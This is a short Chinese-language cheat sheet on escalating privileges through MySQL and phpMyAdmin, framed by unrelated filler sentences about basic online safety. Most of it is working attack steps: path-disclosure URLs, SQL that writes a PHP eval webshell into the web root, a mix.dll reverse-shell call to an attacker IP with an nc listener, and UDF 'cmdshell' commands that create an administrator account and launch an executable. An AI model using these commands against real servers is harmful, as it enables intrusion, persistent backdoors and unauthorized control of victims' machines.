Mysql+PHPmyadmin 提权技巧

随着网络的普及，我们的生活越来越方便，但是网络安全也成了很多人面临的一个问题。特别是那些有着商业数据的企业电脑，更要注意上网安全常识，不然病毒会对我们造成严重的威胁。

1:phpmyadmin 后台拿webshell

phpmyadmin爆路径方法:

weburl+phpmyadmin/themes/darkblue_orange/layout.inc.php

http://url/phpmyadmin/libraries/select_lang.lib.php

pphpmyadmin/libraries/export/xls.php

hpmyadmin\themes\darkblue_orange\layout.inc.php

D:\usr\www\html\phpMyAdmin\

----start code---

Create TABLE a (cmd text NOT NULL);

Insert INTO a (cmd) VALUES('<?php @eval($_POST[cmd])?>');

select cmd from a into outfile 'D:/usr/www/html/phpMyAdmin/d.php';

Drop TABLE IF EXISTS a;

----end code---

2:mix.dll提权

D:/usr/www/html/mix.dll

mysql -h 目标ip -uroot -p

\. c:\mysql.txt

select Mixconnect('反弹ip','端口');

nc -vv -l -p 1983

3:udf.dll提权

create function cmdshell returns string soname 'udf.dll'

select cmdshell('net user user password /add');

select cmdshell('net localgroup administrators user /add');

select cmdshell('c:\3389.exe');

drop function cmdshell; 删除函数

select cmdshell('netstat -an');

load data infile "d:\\www\\gb\\about\\about.htm" into table tmp;

判断文件存不存在mysql的语句

上面是电脑上网安全的一些基础常识，学习了安全知识，几乎可以让你免费电脑中毒的烦扰。